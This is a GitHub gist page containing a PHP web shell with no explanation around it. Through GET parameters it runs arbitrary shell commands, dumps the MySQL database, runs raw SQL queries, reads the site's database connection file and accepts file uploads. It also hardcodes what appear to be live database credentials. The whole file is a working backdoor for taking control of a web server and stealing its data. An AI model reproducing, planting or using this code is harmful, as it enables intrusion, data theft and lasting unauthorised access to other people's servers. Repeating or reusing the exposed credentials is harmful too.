Created
February 23, 2023 05:40
-
-
Save silverwolfceh/66e5127991ca727082d15dba85c71b5e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function run_cmd($cmd = 'ls') { | |
system($cmd); | |
} | |
function db_dump() { | |
$DBUSER="u935748659_kd2814"; | |
$DBPASSWD="C]y4z=F~QrH"; | |
$DATABASE="u935748659_kd2814"; | |
$filename = "backup-" . date("d-m-Y") . ".sql.gz"; | |
$mime = "application/x-gzip"; | |
header( "Content-Type: " . $mime ); | |
header( 'Content-Disposition: attachment; filename="' . $filename . '"' ); | |
$cmd = "mysqldump -u $DBUSER --password=$DBPASSWD $DATABASE | gzip --best"; | |
passthru( $cmd ); | |
exit(0); | |
} | |
function db_query($q) { | |
$servername = "localhost"; | |
$username = "u935748659_kd2814"; | |
$password = "C]y4z=F~QrH"; | |
$database = "u935748659_kd2814"; | |
$conn = new mysqli($servername, $username, $password, $database); | |
if ($conn->connect_error) { | |
die("Connection failed: " . $conn->connect_error); | |
} | |
$myArray = array(); | |
$rs = mysqli_query($conn, $q); | |
if ($rs && mysqli_num_rows($rs) > 0) | |
{ | |
while($row = $rs->fetch_assoc()) { | |
$myArray[] = $row; | |
} | |
echo json_encode($myArray); | |
} | |
else { | |
echo "No data"; | |
} | |
$conn->close(); | |
} | |
if(isset($_GET['mode'])){ | |
$mode = $_GET['mode']; | |
switch($mode) { | |
case 'db': | |
echo run_cmd("cat ../../db/connect.php"); | |
break; | |
case 'cmd': | |
echo run_cmd($_GET['cmd']); | |
break; | |
case 'dbdump': | |
db_dump(); | |
break; | |
case 'query': | |
db_query($_GET['q']); | |
break; | |
case 'up': | |
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; | |
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; | |
if( $_POST['_upl'] == "Upload" ) { | |
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { | |
echo "Upload finished."; | |
} | |
else { | |
echo "Upload failed"; | |
} | |
} | |
break; | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment